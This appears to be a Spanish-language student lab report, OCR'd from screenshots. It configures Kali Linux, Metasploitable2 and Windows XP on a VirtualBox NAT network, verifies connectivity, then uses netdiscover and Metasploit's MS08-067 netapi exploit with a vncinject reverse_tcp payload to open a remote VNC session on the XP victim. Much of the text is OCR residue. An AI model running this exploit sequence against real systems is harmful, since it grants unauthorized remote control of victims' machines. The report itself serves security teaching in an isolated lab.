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Introduccion
El presente informe es presentado con el fin de realizar configuracion en VirtualBox a los
sistemas operativos Kali Linux, MetasPloitable2 y Windows XP esto se hace para una
vez se esté dentro de ellos vamos a realizar un analisis para ver los equipos conectados y

los puertos que estan usando a través del comando nmap.
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Alcance
Verificar y analizar todos los equipos que se estan simulando en la maquina virtual con

ayuda del comando nmap.
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Objetivos
General
Conocer el funcionamiento del comando nmap y algunos comandos que utiliza para
realizar mapeo de direccionamiento de los equipos conectados a la red.
Especificos
e (Configurar las maquinas virtuales para iniciar los SO.
e (Conectarlas a la misma red.

e Usar nmap para realizar el mapeo.
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CREACION DE MAQUINAS VIRTUALES Y CONEXION MEDIANTE RED

NAT

Primeramente, se configura la red NAT en el apartado de herramientas>red.

- .
V¢ Oracle VM VirtualBox Administrador = a X

Archivo Maéquina Red Ayuda

li 21

es NAT Redes en la nube

?'\ kali-finux-2024.1-virtualbox-amd64
Z (@ Apagada

“ Prefijo IPv4 Prefijo IPv6 Servidor DHCP

[lustracion 0-1. Configuracion de redes NAT.
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w

Crear Eliminar
Redes solo-anfitrion Redes NAT Redes en la nube

“ Prefijo

Opciones generales  Reenvio de puertos

Nombre:
Prefijo IPv4: 171
+ Habilitar DHCP

Habilitar IPvée

Restaurar

Ilustracion 0-2. Creacién de la red NAT.
Seguido de eso, dentro del apartado de redes NAT le damos en la opcion crear que esta
arriaba.
Configuraciones de SO en MV

Una vez se haya configurado la red, vamos a las configuraciones del SO que vamos

a correr.
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En la opcidn de sistema en la pestafia de “Placa base” se asigna la cantidad de RAM

que va a usar la maquina en este caso fueron 6GB para Kali Linux.

{2} Kali-linux-2024.1-virtualbox-amd64 - Configuracién = (] X

General Sistema

Sistema Placa base Procesador Aceleracién

Pantalla Memoria base: 6144MB +

4 M8 12288 M8
Orden de arranque:  ® Disco duro
Audio v © Optica
Disquete

Red ﬁ Red

Puertos serie Chipset: PIX3 ¥

Almacenamiento

USB TPM: Ninguno ¥

Dispositivo apuntador: Tableta USB
Carpetas compartidas

Caracteristicas extendidas: Vv Habilitar /O APIC

-
-
9
>
=
[
' 4
-
I

Interfaz de usuario
V' Habilitar reloj hardware en tiempo UTC

Habilitar EFI (sélo SO especiales)

[+

Aceptar Cancelar Ayuda

Hlustracion 0-3. Asignando RAM a Kali Linux.
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Abhora dentro de la misma opcion de sistema en la pestafia de procesador se le asigna la

cantidad de nucleos que este usara.

o kali-linux-2024.1-virtualbox-amd64 - Configuracién = (] X

General Sistema

Sistema Placa base Procesador Aceleracion

Pantalla Procesadores:

2 - 1 CPU 4 CPUs
Almacenamiento

Limite de ejecucidn: 100% +

Audio 1%

Red Caracteristicas extendidas: v Habilitar PAE/NX
Puertos serie
usB

Carpetas compartidas

-
O
2
>
=
A
p
-
I

Interfaz de usuario

Aceptar Cancelar Ayuda

Hlustracion 0-4. Asignando micleos a Kali Linux.

Una vez hecho lo anterior se pasa a la opcion de red, en la pestafia de “Adaptador 17 se
configura la red NAT que creamos al inicio en las herramientas de VirtualBox, para este se
selecciona la a que va a estar conectado en este caso “Red NAT” (Ver ilustracion 7), esta

sirve para traducir las direcciones de red par que sean posibles las conexiones. (Jiménez,

2024)
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Kali - Settings

General Red

' Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Sistema

v Habilitar adaptador de red
Pantalla
Conectado a: Red NAT
Almacenamiento
Nombre: S =1

Ui Tipo de adaptador: Intel PRO/1000 MT Deskto
Red Modo promiscuo: Permitir todo

PaeTIn e ene Direccion MAC: 080
USB

Carpetas compartidas
Puertos serie

EEseOraldal

Interfaz de usuario Puerto1  Puerto2  Puerto3  Puerto4

Aceptar Cancelar Ayuda

Ya por ultimo se inicia a correr la maquina y esta lista para realizar lo demas.

[lustracion 0-5. Configuracion de red en Kali Linux.

Archivo Maquina Ver Entrada Dispositivos Ayuda
us 4 09 Mar, 10:55

BO¥T#NE " E @K crroomean

Ilustracion 0-6. Inicio de Kali Linux.
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A continuacion, se mostraran evidencias de que se realiz6 la configuracion en

MetasPloitable2 y Windows XP.

%8¢ Metasploitable2 - Configuracion

Sistema

Sistema Placa base Procesador Aceleracion

-

Pantalla Memoria base: 1024 MB &
4 MB 12288 MB
Almacenamiento
Orden de arranque: ./ I8 Disquete
Audio v © Optica
v ’! Disco duro

Red

= 5 Red

Puertos serie Chipset: PIX3 ¥

USB TPM: Ninguno ~
Dispositivo apuntador: Tableta USB

Carpetas compartidas
Caracteristicas extendidas: v Habilitar /O APIC

Interfaz de usuario

O
®
»”
=
&
' 4
-
IS

v/ Habilitar reloj hardware en tiempo UTC

Habilitar EFI (s6lo SO especiales)

[~

Aceptar Cancelar

Hlustracion 0-7. Asignando RAM a MetasPloitable?.
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..+ Metasploitable2 - Configuracion = O X

eral Sistema

Sistema Placa base Procesador Aceleracién

Pantalla Procesadores:

. 1CPU 4 CPUs
Almacenamiento

Limite de ejecucion: 100% «
Audio

1%

Red Caracteristicas extendidas: v Habilitar PAE/NX
Puertos serie

usB

Carpetas compartidas

Interfaz de usuario

Aceptar Cancelar Ayuda

[lustracion 0-8. Asignando niicleos a Kali MetasPloitable?2.

Kali - Settings

D General Red

Adaptador 1 \dapt:
Sistema daptagor 1 Adaptado

+ Habilitar adaptador de red
Pantalla
nectado a:
Almacenamiento
bre:
LD 0 de adaptador:  Intel PRO/1000 MT D
Red Modo promiscuo: Permitir todo

PheTIoT aee Direccion MAC:

UsB

Carpetas compartidas
Puertos serie

Puerto 1 Puerto 2 Puerto 3 Puerto 4

]
O
)
»
=
' 4
|
&

Interfaz de usuario

Aceptar Cancelar

Hlustracion 0-9. Configuracion de red en MetasPloitable2.
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Archivo Maquina Ver Entrada Dispositivos Ayuda
» Starting deferred execution scheduler atd
Starting periodic command scheduler crond
Starting Tomcat servlet engine tomcat5.5
Starting web server apache2
Running local boot scripts (setc/rc.local)
mohup: appending output to “nohup.out’
mohup: appending output to “nohup.out’

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatlImetasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login:

OrF L WOrT 8 & crroerecHA

llustracion 0-10. Inicio de MetasPloitable?.
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- Conexién

General

Sistema

Pantalla
Almacenamiento
Audio

Red

Puertos serie

USB

Carpetas compartidas

Interfaz de usuario

| RS 25 4 JHE=] B

ows XP - Conexién

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

usBe

Carpetas compartidas

TR b Inl=100

Interfaz de usuario

GNS3 -

GNS3 -

PT -

Sistema

Placa base

Memoria base:

Orden de arranque:

Chipset:
TPM:
Dispositivo apuntador:

Caracteristicas extendidas:

Iustracion 0-11

Sistema

Placa base

Procesadores:

Limite de ejecucidn:

Caracteristicas extendidas:

Ilustracion 0-12. Asignando niicleos a Windows XP.

Procesador

PT - Configuracior

Procesador

Configuracién

Aceleracion

4 MB

v B Optica [+
v E Disco duro Y
Disquete
5] Red

PIX3
Ninguno ~
Tableta USB
v Habilitar /O APIC
Habilitar reloj hardware en tiempo UTC

Habilitar EFI (sélo SO especiales)

[+

. Asignando RAM a Windows XP.

Aceleracion

1 CPU

1%

Habilitar PAE/NX

1024 MB =

12288 MB

4 CPUs

100%

100%

Para el caso de Windows XP se realiz6 una configuracion adicional en cuanto a la memoria

de video, ya que la que se asigna por defecto no es suficiente para este sistema.
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¢ Windows XP - Conexién GNS3 - PT - Configuracion = O

General Pantalla

Sistema Pantalla Pantalla remota Grabacién

Pantalla Memoria de video:

A 0 MB
Almacenamiento

Numero de monitores:
Audio

Red Factor de escalado:

: 100% 200%
Puertos serie
Controlador grafico: VBoxVGA ¥
usBe S 2 o
Caracteristicas extendidas: Habilitar aceleracion 3D

Carpetas compartidas

o
O
=
9
>
=
[
' 4
-
I

Interfaz de usuario

Hustracion 0-13. Configuracion de memoria de video en Windows XP.
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Kali - Settings

General

Sistema

Pantalla
Almacenamiento
Audio

Red

Puertos serie

USB

Carpetas compartidas

Interfaz de usuario

-
]
O
C
»
D'_,I
9
|
=

Red

Adaptador 1 Adaptador 2 Adaptadol
v Habilitar adaptador de red
Conectado a: Red NAT
MNombre:
Tipo de adaptador: Intel PRC/1000 MT Desktop

Modo promiscuo:  Permitir todo

Direccion MAC:

Puertos serie

Puerto 1 Puerto 2 Puerto 4

Adaptador 4

40EM)

Aceptar Cancelar

Hlustracion 0-14. Configuracion de red en Windows XP.

Ayuda
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% Windows XP - Conexién GNS3 - PT [Corriendo] - Oracle VM VirtualBox — (] X

Archivo Maquina Ver Entrada Dispositivos Ayuda

ES

BOorSESMOrT % & crroerecHa
Ilustracion 0-15. Inicio de Windows XP.

Probando conexiones de las MV.
Una vez se haya configurado cada una de estas maquinas se prueba que todas estén
conectadas dentro de la misma red. A continuacidn, se muestran las evidencias tomadas:
Primero se prueban que estas maquinas tengas asignada un direccionamiento ip,

ejecutando el comando ifconfig (ver ilustracion 20).
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= kali@kali: ~

File Actions Edit View Help

- ) = -~

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 170.200.140.4 netmask 255.255.255.240 broadcast 170.200.140.15
inet6 fe80::fadc:d9d4:3934:2d8f prefixlen 64 scopeid 0x20<link>
ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
RX packets 4 bytes 1300 (1.2 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 20 bytes 3152 (3.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

llustracion 0-16. Verificando direccionamiento ip en Kali Linux.

Archivo Maquina Ver Entrada Dispositivos Ayuda

To access official Ubuntu documentation, please visit:
http://help.ubuntu.comn/
No mail.
msfadmin@metasploitable:™§ ifconfig
eth0 Link encap:Ethernet HUWaddr 08:00:27:60:f2:e5
inet addr:170.200.140.7 Bcast:170.200.140.15 Mask:255.255.255.240
inetb addr: fe80::a00:27ff :feb0:f2e5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:34 errors:0 dropped:0 overruns:0 frame:0
TX packets:65 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4559 (4.4 KB) TX bytes:6823 (6.6 KB)
Base address:0xd020 Memory:f0200000-f0220000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:92 errors:0 dropped:0 overruns:0 frame:0
TX packets:9Z2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)

msfadmin@metasploitable:”S

OV F & mOr % 6 crrberecHa

llustracion 0-17. Verificando direccionamiento ip en MetasPloitable2.
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¢+ Simbolo del sistema

Microsoft Windows XP [Uersion 5.1.260801
(GC> Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\WinXP-Uictima>ipconfig

Configuracion IP de Windows

Adaptador Ethernet Conexidn de area local

Sufijo de conexidn especifica DNS home

Direccidén IP. . . . . . . . . . . 1780.200.140.8
Mascara de subred . . . . . . . . 255.255.255.240
Puerta de enlace predeterminada 1780.200.140.1

C:\Documents and Settings\WinXP-Uictima>

lustracion 0-18. Verificando direccionamiento ip en Windows XP.

En Windows XP se usa el comando ipconfig a diferencia de Kali Linux y MetasPloitable?2.
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Habiendo verificado que ya estan conectados se prueba efectivamente haya ping

entre estos con el comando ping y la ip del equipo al que enviara el ping. A continuacion,

se muestran las siguientes evidencias:

0

kali@kali: ~

File Actions Edit View Help

PING 170
64 bytes
64 bytes
64 bytes
64 bytes

64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
“C

— 170,
14 packe
rtt min/

~

170.200.140.7

.200.140.7 (170.200.140.7) 56(84) bytes of data.

: icmp_seqg=1 ttl=64
icmp_seq=2 ttl=64
icmp_seq=3 ttl=64
icmp_seq=4 ttl=64
icmp_seq=5 ttl=64
icmp_seq=6 ttl=64
icmp_seq=7 ttl=64
icmp_seq=8 ttl=64
icmp_seq=9 ttl=64
icmp_seq=10 ttl=64
icmp_seq=11 ttl=64
icmp_seq=12 ttl=64
icmp_seq=13 ttl=64
icmp_seq=14 ttl=64

from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.
from 170.200.140.

NN SN SNSNSNSNSNSNSNSNSNNN

TX errors @ dropped @ overruns @ carr

200.140.7 ping statistics —

ts transmitted, 14 received, 0% packet loss,

ier 0

time=0.
time=0.
time=0.
time=0.
time=0.
time=0.
time=0.
time=0.
time=0.

time=0.
time=0.
time=0.
time=0.
time=0.

avg/max/mdev = 0.274/0.527/0.711/0.123 ms

collisions @

689
327
501
469
685
458
481
505
615
579
536
559
711
274

time 13347ms

lustracion 0-19. Ping de Kali a MetasPloitable?2.

Archivo Maquina Ver Entrada Dispositivos Ayuda

176.2
packet

min-a
admine

RX packets:92 errors:0 dro

X 2 errors:0 dropped:0 overruns

0 txgqueuelen:O
9393 (18.9 KB)

S ping 170.
) .4) s

rom
from
from
from
from
from
from
from

O .
-.4:
2 X

4:

4:
2
2
2 Y

4:

4:
2 Y
=
.4:
e B

©00.146.4 ping statistics
s tra received,

vg-rmaxsmdeuv = 203.0.523.-0.

metasploitable: ™S

pped:0 ouver

TX byt

2006 .140 .4
6(84) by
1o

ettt
ohohohohohohohoohohohoohoboh

ko e i o o
el LR

0 packet
970-0.201

runs :0 frame
10 carri

ns

«'>’. 5.,'— @L-"OBCTRLDERECHA
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cv Simbolo del sistema
Puerta de enlace predeterminada : 178.2008.146.1

C:\Documents and Settings\WinXP-Uictima>ping 170.200.140.7
Haciendo ping a 1768.2008.1468.7 con 32 bytes de datos:

Respuesta desde 170.2008.1408.7: hytes=32 tiempo<im TTL=64
Respuesta desde 170.280.1408.7: bhytes=32 tiempo<im TTL=64
Respuesta desde 170.200.140.7: hytes=32 tiempo<im TTL=64
Respuesta desde 170.200.140.7: hytes=32 tiempo<{im TTL=64

Estadisticas de ping para 170.200.140.7:
Paguetes: enviados = 4, recibidos = 4, perdidos = 0
(@7 perdidos).

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = @Oms, Maximo = @Oms, Media = Oms

C:\Documents and Settings\WinXP-VUictima’>ping 170.200.140.4
Haciendo ping a 170.200.148.4 con 32 bytes de datos:
desde 170.280.148.4: bytes=32 tiempo<{im TTL=64
desde 170.2008.1408.4: bytes=32 tiempo<{im TTL=64

Respuesta desde 170.280.1408.4: hytes=32 tiempo<im TTL=64
Respuesta desde 170.200.1408.4: bhytes=32 tiempo=1ims TTL=64

Estadisticas de ping para 170.200.148.4:
Pagquetes: enviados = 4, recibidos = 4, perdidos = @
(@7 perdidos).
iempos aproximados de ida y vuelta en milisegundos:
Minimo = @Oms, Maximo = 1ms, Media = Oms

C:\Documents and Settings\WinXP-Uictima)>

lustracion 0-20. Ping de XP a MetasPloitable2 y Kali.
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1 ATAQUE
Antes de iniciar el ataque hay que asegurarse que las 3 maquinas estén corriendo sin

problema alguno y que estén conectados en la misma red.

Para iniciar el ataque se realiza un descubrimiento de los dispositivos que estén
conectados a la red, ejecutando el comando netdiscover -r en la consola de Kali Linux e

indicando el segmento de red.

.

root@kali: fhomefkali

File Actions Edit View Help

Currently scanning: Finished!

» Captured ARP Req/Rep packets, from 5 ho

At MAC Address Count

hnik GmbH
hnik GmbH
hnik GmbH

Ilustracion 1-1Descubrimiento de red.

Una vez hecho el descubrimiento vamos a usar msfconsole que viene a ser el
framework de metasploit que sirve para ejecutar herramientas de hacking y realizar pruebas

de seguridad. (Ver ilustracion 4)
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= root@kali: flhome/kali
File Actions Edit View Help

— | ~

[sudb] 6assword for kali:
/home/kali

Metasploit tip: Use sessions -1 to interact with the last opened ses

ITITII

e

I love shells --egypt

=[ metasploit v6.3.55-dev
+ — -—-=[ 2397 exploits 1235 auxiliary - 422 post
+ —— --=[ 1391 payloads 46 encoders - 11 nops
+ -—— -—-—=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

[lustracion 1-2Entrando a msfconsole.

Como se puede observar esto lo que hace es crearnos una sesion en metasploit que

seria desde donde se realizaran los ataques.

Seguido de esto lo que se hace en buscar netapi que se ejecuta con el comando

search netapi que esto lo que hara es mostrar los diferentes exploits que se pueden usar.

(Ver ilustracion 5)
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- root@kali: /home/kali
File Actions Edit View Help

msf6 > search netapi

Matching Modules

# Name Disclosure Date Rank
Check Description

0 exploit/windows/smb/ms@03 049 netapi 2003-11-11 good
No MS03-049 Microsoft Workstation Service NetAddAlternateCompute
rName Overflow

1 exploit/windows/smb/ms06_040_ netapi 2006-08-08 good
No MS06-040 Microsoft Server Service NetpwPathCanonicalize Overf
low

2 exploit/windows/smb/ms06 070 wkssvc 2006-11-14 manual
No MS06-070 Microsoft Workstation Service NetpManageIPCConnect O
verflow

3 exploit/windows/smb/ms08 067 _netapi 2008-10-28 gre
Yes MS08-067 Microsoft Server Service Relative Path Stack Corrupt
ion

Interact wlth a module by name or 1ndex For example infc
r u exploit/windc smb/ms tapi

llustracion 1-3Busqueda de Netapi.

Para este caso en especifico y se usé el 3 que se selecciona con el comando Use #;

como se puede ver a continuacion.

Interact with a module by name or index. For example info
i 7 _netapil

|

No payload configured, defaulting to windows/meterpreter/reverse

1lustracion 1-4Seleccion del exploit.
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root@kali: flhomefkali
File Actions Edit View Help
msf6 exploit( ) > options

Module options (exploit/windows/smb/ms08_ 067 _netapi):
Name Current Setting Required Description

RHOSTS yes The target host(s), see htt
ps://docs.metasploit.com/do
cs/using-metasploit/basics/
using-metasploit.html

RPORT 445 yes The SMB service port (TCP)

SMEPIPE BROWSER yes The pipe name to use (BROWS
ER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted:

, seh, thread, process,
none)

LHOST 170.200.140.4 yes The listen address (an int
erface may be specified)

LPORT L b4 yes The listen port

Exploit target:
Id Name

Automatic Targeting

Ilustracion 1-5 Revision del RHOSTS.
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Cuando se selecciona el exploit se ejecuta el comando options y esto lo que haré
sera mostrar las opciones de los mddulos y del payload, como se puede observar en el
RHOSTS (Es la ip de la victima) no hay una ip establecida.

Sin tener una ip establecida no se sabe a que paciente se le va a realizar el ataque
entonces lo que se hace es establecer esa ip con el comando sef rhosts mas la ip de la

victima.

-

File Actions Edit View Help

msf6 exploit( ) > set rhosts 170.200.140.6
rhosts = 170.200.140.6
msf6 exploit( ) > options

Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOSTS 170.200.140.6 yes The target host(s), see https://docs.metas
ploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: , seh, thread
, process, none)

LHOST 170.200.140.4 yes The listen address (an interface may be s
pecified)

LPORT Liht yes The listen port

Exploit target:
Id Name

Automatic Targeting

View the full module info with the inf info -d command.

msf6 exploit(

llustracion 1-6Estableciendo ip de la victima.
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Como se puede visualizar en la ilustracion, ya se ha establecido la ip de la victima y
lo mismo se puede hacer con el RPORT si dado el caso se necesita cambiar de puerto esto
se haria con el comando set rport.

Ahora que se tiene la ip de la victima se puede configurar el payload con el que
vamos a realizar la vulnerabilidad entonces con el comando set payload se le pasa la ruta
con la que va a acceder una vez con esto listo ejecutado ese comando realizamos el ataque

con el comando exploit.

v root@kali: fhomefkali

File Actions Edit View Help

View the full module info with the info, or info -d command.

msf6 exploit( ) > set payload windows/vncinject/reverse_tcp
payload = windows/vncinject/reverse_tcp
msf6 exploit( ) > exploit

Started reverse TCP handler on 170.200.140.4
170.200.140.6:445 - Automatically detecting the target ...
170.200.140.6:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
170.200.140.6:445 - Selected Target: Windows XP SP3 Spanish (NX)
170.200.140.6:445 - Attempting to trigger the vulnerability ...
Sending stage (401920 bytes) to 170.200.140.6
Starting local TCP relay on 127.0.0.1:5900 ...
Local TCP relay started.
Launched vncviewer.
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "victimawinxp"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue @
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
VNC Server session 1 opened (170.200.140.4:4444 — 170.200.140.6:1029) at 2024-04-0
6 16:29:46 -0400
Session 1 created in the background.
msf6 exploit( N |

llustracion 1-7Ataque a la victima.
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Una vez hecho el ataque este nos crea una sesion y nos mostrara mediante una

pantalla todo lo que est4 haciendo la victima. (ver ilustracion 10)

File Actions Edit View Help

TightVNC: victimawinxp
the

/vncinject

*ZInicio - 2% % 1531

1 1 created in the backgrounc
loit(

lustracion 1-8Prueba del ataque.
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Luego de eso si se vuelve a ejecutar el comando options se puede ver que en el

apartado de opciones de payload nos muestras mas opciones que antes.
msf6 exploit( ) > options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOSTS 170.200.140.6 yes The target host(s), see https://docs.metasploi
t.com/docs/using-metasploit/basics/using-metas
ploit.html

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/vncinject/reverse tcp):
Name Current Setting Required Description

AUTOVNC true yes Automatically launch VNC viewer if
present

DisableCourtesyShel true ! Disables the Metasploit Courtesy s

1 hell

EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST 170.200.140.4 yes The listen address (an interface m
ay be specified)

LPORT [ yes The listen port

VNCHOST 127.0.0.: = The local host to use for the VNC
proxy

VNCPORT yes The local port to use for the VNC
proxy

ViewOnly 0 Runs the viewer in view mode

[lustracion 1-9Mas opciones de payload.
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